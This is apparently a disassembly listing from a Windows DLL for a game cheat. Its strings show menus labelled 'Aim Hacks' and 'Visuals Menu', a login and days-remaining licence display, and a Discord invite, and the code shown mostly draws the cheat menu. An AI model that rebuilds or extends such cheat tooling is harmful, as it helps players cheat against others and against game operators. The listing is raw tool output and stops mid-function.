mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov r8, rsi
mov rdx, r15
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi - 0x80], 0
jmp 0x140052b1d
mov r15, rsi
or r15, 0xf
cmp r15, rax
jbe 0x140052aa7
mov r15, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140052ad3
cmp r15, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r15, rax
lea rcx, [r15 + 1]
test rcx, rcx
je 0x140052afa
cmp rcx, 0x1000
jb 0x140052af2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140055c08
mov rcx, rax
call fcn.140121a44
test rax, rax
je 0x1400559f8
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140052afa
call fcn.140121a44
mov r14, rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r15
mov r8, rsi
lea rdx, [0x1401fc7c0]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rsi], 0
mov r9, r12
mov r8, r13
lea rdx, [rbp - 0x80]
lea rcx, [0x1401f7e50]
call fcn.1400cf500
cmp byte [0x1401f8068], 0
je 0x140052b99
mov byte [0x1401c6ad9], 1
movups xmm6, xmmword [0x1401fd140]
lea rax, [rbp + 0x340]
mov qword [rbp + 0x748], rax
lea rdx, str.LOGGED_IN__
lea rcx, [rbp + 0x340]
call fcn.14003e110
mov rsi, rax
lea rdx, str.Notification
lea rcx, [rbp + 0x310]
call fcn.14003e110
movdqa xmmword [rsp + 0x60], xmm6
lea r9, [rsp + 0x60]
mov r8, rsi
mov rdx, rax
call fcn.14004a0d0
jmp 0x140052bc3
lea rdx, [0x1401f8070]
cmp qword [0x1401f8088], 0xf
cmova rdx, qword [0x1401f8070]
mov r8, qword [0x1401f8080]
lea rcx, str.Aim_Hacks
call fcn.14003e390
call fcn.14000d280
call fcn.140017b60
movaps xmm1, xmm15
movaps xmm0, xmm14
call fcn.1400177c0
mov r12, qword [rbp + 0x508]
mov r14d, 1
mov ecx, r14d
call fcn.140004a80
call fcn.1400129f0
movss xmm6, dword [0x140162324]
movss xmm7, dword [0x140162410]
xor r13d, r13d
call fcn.14000b3b0
cmp byte [0x1401c6ad9], 1
jne 0x1400558ba
lea rdx, [0x1401f8048]
lea rcx, [rbp + 0x310]
call fcn.140055fd0
nop
lea rcx, [rbp + 0x310]
cmp qword [rbp + 0x328], 0xf
cmova rcx, qword [rbp + 0x310]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x500], rcx
lea rcx, [rbp + 0x500]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov r9, rax
lea r8, str._d__m__Y
mov edx, reloc.WS2_32.dll_recvfrom
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
mov rcx, qword [0x1401f7fa0]
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rcx
cmp rax, 6
jb 0x140055bf6
lea rax, [0x1401f7f90]
cmp qword [0x1401f7fa8], 0xf
cmova rax, qword [0x1401f7f90]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
lea r9, str.User:
lea r8, [0x1401f7f90]
movzx edx, dil
lea rcx, [rbp + 0x4d0]
call fcn.140056d30
nop
mov r8d, 9
lea rdx, str.__Days:
lea rcx, [rbp + 0x4d0]
call fcn.14003e500
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x180]
call fcn.14003e240
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140052db9
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052db4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140055a08
call fcn.140121cc8
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140052e13
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052e0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140055a0f
call fcn.140121cc8
mov qword [rbp + 0x4e0], r13
mov qword [rbp + 0x4e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4d0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x340]
call fcn.140043c30
xor eax, eax
mov qword [rbp + 8], rax
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
mov rcx, qword [reloc.WS2_32.dll_htons]
mov rax, rsi
sub rax, rcx
cmp rax, 3
jb 0x140055bf0
lea r9, str.Aim_Hacks
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [str.Aim_Hacks]
mov qword [rsp + 0x30], 3
lea rax, [0x14016144c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, str.Aim_Hacks
movzx edx, bl
lea rcx, [rbp + 0x340]
call fcn.140056d30
nop
lea rdx, [0x1401c5bb0]
lea rcx, [rbp + 0x340]
call fcn.14003e2e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x170], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x358]
cmp rdx, 0xf
jbe 0x140052f58
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052f53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140055a16
call fcn.140121cc8
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401fd910], eax
jle 0x140052fa4
lea rcx, [0x1401fd910]
call fcn.1401219cc
cmp dword [0x1401fd910], 0xffffffff
jne 0x140052fa4
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [0x1401fd5d0], rax
lea rcx, [0x1401fd910]
call fcn.140121960
lea rax, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rax, qword [rbp + 0x160]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rax, qword [rbp - 0x80]
mov qword [rbp - 8], rax
lea rax, str.https:__i.giphy.com_media_v1.Y2lkPTc5MGI3NjExOHU5bDV3NHVoaGVqeXBrNXQzYWh0ZHNuc2hicmRycDN0dzl1bHZzYiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw_1ZJN15zOiDB1FCklz4_giphy.gif
mov qword [rbp + 0x10], rax
lea rax, str.Copyright_by_Infierno_Supreme__
mov qword [rbp + 0x18], rax
lea rax, str.https:__media.giphy.com_media_qnaxk5zCml7nxMpoUM_giphy.gif
mov qword [rbp + 0x20], rax
lea rax, str.____Dev_Aunlock
mov qword [rbp + 0x28], rax
lea rax, str.SERVIDOR_FULL
mov qword [rbp + 0x38], rax
lea rax, str.https:__discord.gg_QBQxUv7FKb
mov qword [rbp + 0x40], rax
lea rcx, str.CREADOR_DE_PANELES
mov qword [rbp + 0x48], rcx
mov qword [rbp + 0x50], rax
mov rax, qword [0x1401fd5d0]
mov qword [rbp], rax
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x140055be4
cmp dword [0x1401c5b8c], 0x7fffffff
je 0x140055bce
mov r8d, dword [reloc.WS2_32.dll_accept]
lea eax, [r8 + 1]
mov dword [reloc.WS2_32.dll_accept], eax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401f85a8]
call fcn.140048570
mov qword [0x1401f85a0], rax
mov eax, r14d
xchg byte [0x1401c7bd6], al
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rcx, qword [0x1401f8460]
test rcx, rcx
je 0x1400530ab
add rcx, 0x58
call qword [sym.imp.MSVCP140.dll__Cnd_broadcast]
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x1400530ec
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400530e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140055a1d
call fcn.140121cc8
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140053140
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005313b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140055a24
call fcn.140121cc8
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140053191
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005318c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140055a2b
call fcn.140121cc8
call fcn.140008d40
call fcn.14004a260
mov r13, qword [0x1401c6ae0]
test r13, r13
jne 0x1400531c8
mov r8d, 0xbe5
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r13, qword [0x1401c6ae0]
movdqa xmm0, xmmword [0x140162690]
movups xmmword [0x1401fd140], xmm0
xor esi, esi
mov qword [r13 + 0x37d0], rsi
mov dword [r13 + 0x3814], 0x41a00000
mov dword [r13 + 0x3818], 0x41a00000
mov dword [r13 + 0x37dc], esi
mov dword [r13 + 0x383c], 0x41200000
or dword [r13 + 0x47f0], 2
movsd xmm0, qword [0x1401c5c28]
movsd qword [r13 + 0x4810], xmm0
mov dword [r13 + 0x47f8], r14d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
movss xmm0, dword [0x1401fc6b8]
addss xmm0, xmm7
comiss xmm1, xmm0
jbe 0x14005333c
movss xmm1, dword [0x1401fc5a8]
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x1400532d2
movss xmm2, dword [0x14016237c]
comiss xmm2, xmm1
jbe 0x1400532c4
mov rax, qword [0x1401c6ae0]
test rax, rax
jne 0x1400532a8
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm1, dword [0x1401fc5a8]
mov rax, qword [0x1401c6ae0]
movss xmm2, dword [0x14016237c]
movaps xmm0, xmm6
divss xmm0, dword [rax + 0xdc]
mulss xmm0, xmm12
addss xmm1, xmm0
movss dword [0x1401fc5a8], xmm1
comiss xmm1, xmm2
jb 0x140053336
mov byte [reloc.WS2_32.dll_accept], sil
jmp 0x140053336
comiss xmm1, xmm14
jbe 0x140053329
mov rax, qword [0x1401c6ae0]
test rax, rax
jne 0x14005330d
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movss xmm1, dword [0x1401fc5a8]
mov rax, qword [0x1401c6ae0]
movaps xmm0, xmm6
divss xmm0, dword [rax + 0xdc]
mulss xmm0, xmm12
subss xmm1, xmm0
movss dword [0x1401fc5a8], xmm1
comiss xmm14, xmm1
jb 0x140053336
mov byte [reloc.WS2_32.dll_accept], 1
mov dword [0x1401fc6b8], esi
xor edx, edx
mov r8d, 0x202b
lea rcx, str.IMGUI
call fcn.1400101e0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x748], xmm0
cmp qword [rax + 0x1a8], rsi
jne 0x140053384
cmp qword [rcx + 0x4bd8], rsi
lea rcx, [rax + 0x250]
je 0x14005338b
lea rcx, [rax + 0x220]
movss xmm13, dword [rcx]
movss xmm12, dword [rcx + 4]
subss xmm12, dword [rax + 0x24]
subss xmm13, dword [rax + 0x20]
call fcn.14004dbf0
lea rdx, [0x1401c6b18]
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
movss xmm2, dword [rax + 0x20]
ucomiss xmm2, xmm14
jp 0x1400533e3
jne 0x1400533e3
movss xmm0, dword [rax + 0x24]
ucomiss xmm0, xmm14
jp 0x1400533e3
je 0x140053456
movd xmm0, dword [0x1401c6b1c]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 0x24]
cvttss2si r8d, xmm0
movd xmm1, dword [0x1401c6b18]
cvtdq2ps xmm1, xmm1
addss xmm1, xmm2
cvttss2si edx, xmm1
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 0x28f
mov r9d, 0x3e8
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_MoveWindow]
mov qword [rbp + 0x1b8], rsi
mov rax, qword [0x1401c6ae0]
xor r8d, r8d
lea rdx, [rbp + 0x1b8]
mov rcx, qword [rax + 0x3f08]
call fcn.140013b70
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movdqa xmm0, xmmword [0x140162620]
movups xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call fcn.140004460
mov dword [rbp + 0x1c0], 0x3f800000
mov dword [rbp + 0x1c4], 0x3f800000
mov qword [rbp + 0x1c8], rsi
movaps xmm7, xmm12
movss xmm11, dword [rbp + 0x74c]
addss xmm7, xmm11
movss xmm10, dword [rbp + 0x748]
movaps xmm6, xmm10
addss xmm6, xmm13
movss dword [rbp + 0x1d0], xmm6
movss dword [rbp + 0x1d4], xmm7
movss xmm0, dword [0x140162414]
movss dword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1d0]
lea r8, [rbp + 0x748]
mov rcx, r10
call fcn.140025db0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1401fd1f0]
movss dword [rbp + 0x400], xmm0
movss xmm1, dword [0x1401fd1f4]
movss dword [rbp + 0x404], xmm1
movss xmm0, dword [0x1401fd1f8]
movss dword [rbp + 0x408], xmm0
movss xmm1, dword [0x1401fd1fc]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x40c], xmm1
lea rcx, [rbp + 0x400]
call fcn.140004460
movss dword [rbp + 0x1d8], xmm6
movss dword [rbp + 0x1dc], xmm7
movss dword [rsp + 0x30], xmm8
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x140162414]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x748]
mov rcx, r10
call fcn.1400250d0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1401fd160]
movss dword [rbp + 0x410], xmm0
movss xmm1, dword [0x1401fd164]
movss dword [rbp + 0x414], xmm1
movss xmm0, dword [0x1401fd168]
movss dword [rbp + 0x418], xmm0
movss xmm1, dword [0x1401fd16c]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x41c], xmm1
lea rcx, [rbp + 0x410]
call fcn.140004460
movss dword [rbp + 0x1e0], xmm6
movss dword [rbp + 0x1e4], xmm7
mov dword [rsp + 0x28], esi
movss xmm0, dword [0x140162414]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x748]
mov rcx, r10
call fcn.1400251e0
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140055bc5
mov rcx, r12
mov qword [rbp + 0x748], rcx
mov r14, qword [0x1401c6ae0]
mov rsi, r12
test r12, r12
jne 0x1400536ec
mov rcx, qword [r14 + 0x48]
test rcx, rcx
jne 0x1400536e2
mov rsi, qword [r14 + 0x38]
cmp dword [rsi + 0x58], ecx
jg 0x1400536db
mov r8d, 0x732
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x60]
mov rcx, qword [rax]
mov qword [rbp + 0x748], rcx
mov rsi, rcx
call fcn.140013840
lea rcx, [r14 + 0x4880]
lea rdx, [rbp + 0x748]
call fcn.1400204e0
mov rax, qword [r14 + 0x3f08]
mov rdx, qword [rsi + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.1400229e0
mov r8, qword [0x1401c6ae0]
mov rax, qword [r8 + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3f08]
mov rsi, qword [rax + 0x298]
movss xmm0, dword [0x1401fd140]
movss dword [rbp + 0x420], xmm0
movss xmm1, dword [0x1401fd144]
movss dword [rbp + 0x424], xmm1
movss xmm0, dword [0x1401fd148]
movss dword [rbp + 0x428], xmm0
movss xmm1, dword [0x1401fc5a8]
mulss xmm1, dword [r8 + 0x37c8]
mulss xmm1, dword [0x1401fd14c]
movss dword [rbp + 0x42c], xmm1
lea rcx, [rbp + 0x420]
call fcn.140004460
mov r15d, eax
mov qword [rsp + 0x30], 0
lea rax, str.INFIERNO_X
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm15
movss xmm3, dword [0x1401624d4]
movss xmm2, dword [r8 + 0x3c30]
lea rdx, [rbp + 0x758]
mov rcx, qword [r8 + 0x3c28]
call fcn.14002cd80
movss xmm0, dword [rbp + 0x758]
addss xmm0, dword [0x140162388]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x758], xmm1
movaps xmm2, xmm9
subss xmm2, dword [rbp + 0x75c]
movss xmm8, dword [0x140162484]
movaps xmm0, xmm8
subss xmm0, xmm1
mulss xmm2, dword [0x14016235c]
mulss xmm0, dword [0x14016235c]
addss xmm2, xmm11
addss xmm0, xmm10
movss dword [rbp + 0x1e8], xmm0
movss dword [rbp + 0x1ec], xmm2
test r15d, 0xff000000
je 0x1400538e5
mov rax, qword [rsi + 0x38]
mov r14, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rcx, qword [r14 + 0x40]
mov rax, qword [rsi + 0x98]
cmp qword [rcx + 8], rax
je 0x140053891
mov r8d, 0x6aa
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm14
lea rax, [0x1401615c2]
mov qword [rsp + 0x38], rax
lea rax, str.INFIERNO_X
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1e8]
movaps xmm2, xmm6
mov rdx, rsi
mov rcx, r14
call fcn.14002cfa0
call fcn.140013970
movaps xmm7, xmm11
addss xmm7, xmm9
movaps xmm6, xmm10
addss xmm6, xmm8
movss dword [rbp + 0x1f0], xmm6
movss dword [rbp + 0x1f4], xmm7
movaps xmm9, xmm11
addss xmm9, xmm14
movaps xmm8, xmm10
addss xmm8, xmm14
movss dword [rbp + 0x1f8], xmm8
movss dword [rbp + 0x1fc], xmm9
mov r8b, 1
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1f8]
call fcn.14000a560
call fcn.14000a610
mov rcx, qword [0x1401fcff8]
mov qword [rbp + 0x748], rcx
mov r14, qword [0x1401c6ae0]
mov rsi, rcx
test rcx, rcx
jne 0x1400539a5
mov rcx, qword [r14 + 0x48]
test rcx, rcx
jne 0x14005399b
mov rsi, qword [r14 + 0x38]
cmp dword [rsi + 0x58], ecx
jg 0x140053994
mov r8d, 0x732
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x60]
mov rcx, qword [rax]
mov qword [rbp + 0x748], rcx
mov rsi, rcx
call fcn.140013840
lea rcx, [r14 + 0x4880]
lea rdx, [rbp + 0x748]
call fcn.1400204e0
mov rax, qword [r14 + 0x3f08]
mov rdx, qword [rsi + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.1400229e0
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x140162418]
addss xmm0, dword [0x1401624bc]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0x200], 0x42200000
mov dword [rbp + 0x204], 0x42200000
lea rdx, [rbp + 0x200]
lea rcx, [0x140153164]
call fcn.140035710
mov esi, 5
xor r14d, r14d
test al, al
je 0x140053a8a
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.https:__discord.gg_QBQxUv7FKb
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140013970
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1401fd1f0]
movss dword [rbp + 0x430], xmm0
movss xmm1, dword [0x1401fd1f4]
movss dword [rbp + 0x434], xmm1
movss xmm0, dword [0x1401fd1f8]
movss dword [rbp + 0x438], xmm0
movss xmm1, dword [0x1401fd1fc]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x43c], xmm1
lea rcx, [rbp + 0x430]
call fcn.140004460
addss xmm12, xmm11
movss dword [rbp + 0x208], xmm6
movss dword [rbp + 0x20c], xmm12
movss dword [rbp + 0x210], xmm6
movss dword [rbp + 0x214], xmm9
movss xmm0, dword [0x140162390]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x208]
lea rdx, [rbp + 0x210]
mov rcx, r10
call fcn.140024f70
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x298]
movss xmm0, dword [0x1401fd1f0]
movss dword [rbp + 0x440], xmm0
movss xmm1, dword [0x1401fd1f4]
movss dword [rbp + 0x444], xmm1
movss xmm0, dword [0x1401fd1f8]
movss dword [rbp + 0x448], xmm0
movss xmm1, dword [0x1401fd1fc]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x44c], xmm1
lea rcx, [rbp + 0x440]
call fcn.140004460
addss xmm10, xmm13
movss dword [rbp + 0x218], xmm10
movss dword [rbp + 0x21c], xmm7
movss dword [rbp + 0x220], xmm8
movss dword [rbp + 0x224], xmm7
movss xmm8, dword [0x140162390]
movss dword [rsp + 0x20], xmm8
mov r9d, eax
lea r8, [rbp + 0x218]
lea rdx, [rbp + 0x220]
mov rcx, r10
call fcn.140024f70
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x140162410]
movss xmm7, dword [0x140162488]
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov r8, 0xffffffffffffffff
lea rax, [0x1401c5c30]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140053c90
mov rdx, rax
lea rcx, [0x1401c5bd0]
call fcn.14003e390
movss xmm3, dword [r13 + 0x3818]
movss xmm9, dword [0x140162448]
addss xmm3, xmm9
movss xmm2, dword [r13 + 0x3814]
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm3, xmm0
addss xmm1, xmm2
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm3
mov byte [rax + 0x141], 1
call fcn.140017a10
call fcn.140017a10
call fcn.140017b60
call fcn.140017a10
call fcn.140017b60
mov dword [rbp + 0x228], 0x43660000
mov dword [rbp + 0x22c], 0x42480000
cmp dword [reloc.WS2_32.dll_accept], 1
sete cl
lea r9, [rbp + 0x228]
lea r8, [0x1401615d0]
lea rdx, [0x1401615dc]
call fcn.140034bf0
test al, al
je 0x140053db3
xor r8d, r8d
lea rdx, [0x14015191a]
lea rcx, [0x1401c5bb0]
call fcn.14003e390
mov r8d, 9
lea rdx, [0x1401615d0]
lea rcx, str.Aim_Hacks
call fcn.14003e390
mov r15d, 1
mov eax, r15d
mov dword [reloc.WS2_32.dll_accept], eax
jmp 0x140053dbf
mov eax, dword [reloc.WS2_32.dll_accept]
mov r15d, 1
mov dword [rbp + 0x230], 0x43660000
mov dword [rbp + 0x234], 0x42480000
cmp eax, 2
sete cl
lea r9, [rbp + 0x230]
lea r8, str.Visuals_Menu
lea rdx, [0x1401615f0]
call fcn.140034bf0
test al, al
je 0x140053e33
xor r8d, r8d
lea rdx, [0x14015191a]
lea rcx, [0x1401c5bb0]
call fcn.14003e390
mov r8d, recv
lea rdx, str.Visuals_Menu
lea rcx, str.Aim_Hacks
call fcn.14003e390
mov eax, 2
mov dword [reloc.WS2_32.dll_accept], eax
jmp 0x140053e39
mov eax, dword [reloc.WS2_32.dll_accept]
mov dword [rbp + 0x238], 0x43660000
mov dword [rbp + 0x23c], 0x42480000
cmp eax, 3
sete cl
lea r9, [rbp + 0x238]
lea r8, str.Security
lea rdx, [0x140153164]
call fcn.140034bf0
test al, al
je 0x140053ead
xor r8d, r8d
lea rdx, [0x14015191a]
lea rcx, [0x1401c5bb0]
call fcn.14003e390
mov r8d, 8
